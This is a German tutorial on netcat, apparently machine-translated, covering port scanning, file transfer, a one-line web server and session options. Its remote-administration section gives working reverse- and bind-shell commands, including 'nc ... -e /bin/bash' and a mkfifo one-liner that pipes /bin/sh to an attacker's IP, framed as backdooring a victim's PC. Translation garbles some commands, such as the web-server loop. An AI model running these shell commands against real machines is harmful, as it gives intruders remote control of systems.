NetCat

Netcat - Schweizer Taschenmesser Pro Verwendung

Netcat - Schweizer Taschenmesser Pro Verwendung
Netcat ist ein Dienstprogramm, das zum Lesen und Schreiben von Daten über TCP- und UDP-Ports verwendet wird. Es kann für viele coole Dinge wie Dateiübertragung, Port-Scanning, Port-Umleitung, Backdooring des PCs eines anderen, Erstellung eines einfachen Chat-Programms, zur Netzwerk-Fehlerbehebung und mehr verwendet werden, deshalb ist es als Schweizer Taschenmesser bekannt known. Außerdem ist es heutzutage in fast jeder Linux-Distribution vorinstalliert und wird hauptsächlich von Netzwerkadministratoren, DevOps und Sicherheitsingenieuren für ihre täglichen kleinen Aufgaben verwendet.

Ein kurzer Unterschied zwischen netcat-traditional und netcat-openbsd

Es gibt zwei ähnliche Pakete für netcat mit einem kleinen Unterschied zwischen ihnen.

netcat-traditionell enthält eine zusätzliche '-e'-Option, die zum Binden eines Programms verwendet werden kann (i.e bash) mit netcat. Diese Funktion ist sehr nützlich für Fernverwaltungszwecke.

netcat-openbsd haben zusätzliche Unterstützung für IPv6 und Proxys.

Netcat-Installation

Netcat ist zwar in den meisten Linux-Distributionen vorinstalliert, aber wenn nicht, kann es einfach mit den folgenden Befehlen installiert werden.

Für traditionelles Paket,

[email protected]:~$ sudo apt-get install netcat-traditional

Für OpenBSD-Version,

[email protected]:~$ sudo apt-get install netcat-openbsd

Netcat für Windows kann hier heruntergeladen werden https://sourceforge.net/projects/nc110/files/.

Jetzt werden wir einige interessante Anwendungsfälle von netcat untersuchen

Port-Scanning mit netcat

Um nach offenen Ports zu suchen, verwenden Sie die Option '-z'. Netcat wird versuchen, sich mit jedem Port zu verbinden, ohne Daten zu senden oder im UDP-Fall sehr begrenzte Daten data. Geben Sie Folgendes ein

[email protected]:~$ nc -z -v hackme.org 80
… schnippel…
Hacke mich.org [217.78.1.155] 80 (http) öffnen

Um nach einer Reihe von Ports zu suchen, geben Sie

[email protected]:~$ nc -z -nv 192.168.100.72 20-80
(UNBEKANNT) [192.168.100.72] 80 (http) öffnen
(UNBEKANNT) [192.168.100.72] 22 (ssh) offen

Dateiübertragung mit netcat

Ein weiterer nützlicher Anwendungsfall von netcat ist die Dateiübertragung zwischen Remote-Computern. Sie können Texte und Binärdateien von einem PC an einen anderen PC senden. Wir werden versuchen, eine Datei "Datei" zu senden.pdf“ von Linux-PC zu Windows-PC [IP 192.168.100.72] am Beispiel von netcat.

Geben Sie auf dem Windows-Computer (Empfänger) Folgendes ein

C:\Benutzer> nc -nvlp 1337 > Datei.pdf
Hören auf [0.0.0.0] (Familie 2, Port 1337)

Geben Sie auf dem Linux-Computer (Sender) Folgendes ein the

[email protected]:~$ nc -nv 192.168.100.72 1337 < file.pdf
Anschluss an 192.168.100.72 1337 Port [tcp/*] erfolgreich!

Fernverwaltung mit netcat

Einer der besten Anwendungsfälle von netcat ist die Remote-Administration, d. h. Sie können den PC eines anderen mit netcat steuern. Netcat-traditional wird mit der Option '-e' geliefert, die verwendet werden kann, um ein Programm zu binden (i.e cmd.exe unter Windows oder bash unter Linux) mit einem Port, d.h. netcat fungiert als Kommunikator zwischen dem Programm und dem Remote-PC. Netcat empfängt Befehle vom Remote-PC, wird auf dem lokalen System ausgeführt und sendet die Ergebnisse zurück an den Remote-PC. Diese Funktion wird häufig für böswillige Zwecke verwendet, um Hintertüren in PCs und Servern zu halten. Diese Funktion ist nur in netcat-traditional verfügbar, aber mit einem kleinen Trick kann auch netcat-openbsd für den gleichen Zweck verwendet werden. Sie können den PC anderer auf zwei Arten steuern.

In einem Umgekehrte Schale Verbindung, ein Angreifer lauscht an einem Port und wartet darauf, dass eine Verbindung vom Computer des Opfers gesendet wird. Es wird verwendet, wenn sich der Computer des Opfers hinter NAT befindet oder keine öffentliche IP-Adresse hat.

Um eine Reverse-Shell mit netcat zu erhalten, müssen Sie einen Port mit netcat abhören. Geben Sie Folgendes auf dem Angreifer-Rechner ein,

[email protected]:~$ nc -nvlp 1337
Hören auf [0.0.0.0] (Familie 2, Port 1337)

Auf dem Computer des Opfers (wenn netcat-traditionell ist installiert)

// „/bin/bash“ durch „cmd“ ersetzen.exe“ bei Windows

[email protected]:~$ nc -nv [IP_ADDR] 1337 -e /bin/bash

Zum netcat-openbsd (wobei die Option „-e“ nicht unterstützt wird)

[email protected]:~$ rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f

Während in a Muschel binden Verbindung, Angreifer bindet einen Port auf dem Opfercomputer und verbindet sich mit diesem Port über den Client-Socket. Es wird verwendet, wenn sich der Computer des Angreifers hinter NAT befindet oder keine öffentliche IP-Adresse hat.

Geben Sie auf dem Computer des Opfers

[email protected]:~$ nc -nlvp 1337 -e /bin/bash
Hören auf [irgendein] 1337…

Um nun Befehle auf dem Opfercomputer auszuführen, geben Sie ein

[email protected]:~$ nc -nv 127.0.0.1 1337
Anschluss an 127.0.0.1 1337-Port [tcp/*] erfolgreich!
$ id
uid=1000(azad) gid=1000(azad) Gruppen=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)

Einfacher Webserver mit netcat

Sie können auch einen anderen einfachen Trick ausführen, um netcat als minimalen Single-Page-Webserver zu verwenden. Dieser Webserver wäre ohne spezielle Konfigurationen sehr einfach, und wir verwenden ihn, um unseren HTML-Code an den Browser zu senden.

[email protected]:~$ while true ; do  echo -e "HTTP/1.1 200 OK\n\n $(Echo "


Mein einfacher Webserver mit netcat

")" | nc -nvlp 1337  ; getan
Hören auf [0.0.0.0] (Familie 2, Port 1337)

Versuchen Sie nun, die Webseite mit curl . abzurufen

[email protected]:~$ curl http://127.0.0.1:1337/

Mein einfacher Webserver mit netcat

Timeout für eine Netcat-Sitzung festlegen

Sie können die Zeitüberschreitung für eine Netcat-Sitzung mit der Option „-w“ festlegen. Netcat wird seine Sitzung automatisch trennen, wenn die angegebene Zeit abgelaufen ist.

// -w [Zeit in Sekunden]
[email protected]:~$ nc -w 40 -nvlp 1337
Hören auf [0.0.0.0] (Familie 2, Port 1234)

Hören Sie weiter, auch wenn der Client die Verbindung schließt

Im normalen Modus fährt der Netcat-Server herunter und hört auf, den Port zu überwachen, wenn ein Client die Verbindung schließt. Sie können den Server mit der Option "-k" am Laufen halten

[email protected]:~$ nc -k -nlvp 1234
Hören auf [0.0.0.0] (Familie 2, Port 1234)

Fazit

Netcat ist ein einfaches, aber effizientes Dienstprogramm, das für viele einfache tägliche Aufgaben verwendet werden kann. Es ist in fast allen UNIX-ähnlichen Betriebssystemen vorinstalliert und kann für verschiedene Aufgaben wie die Kommunikation zwischen zwei PCs, Dateitransfer und vieles mehr verwendet werden.

Top 5 ergonomische Computermaus-Produkte für Linux
Verursacht längere Computernutzung Schmerzen im Handgelenk oder in den Fingern?? Leiden Sie unter steifen Gelenken und müssen ständig die Hände schütt...
So ändern Sie die Maus- und Touchpad-Einstellungen mit Xinput in Linux
Die meisten Linux-Distributionen werden standardmäßig mit der Bibliothek „libinput“ ausgeliefert, um Eingabeereignisse auf einem System zu verarbeiten...
Weisen Sie Ihre Maustasten mit der X-Mouse Button Control für verschiedene Software unterschiedlich zu
Vielleicht benötigen Sie ein Tool, mit dem sich die Steuerung Ihrer Maus bei jeder von Ihnen verwendeten Anwendung ändern kann. In diesem Fall können ...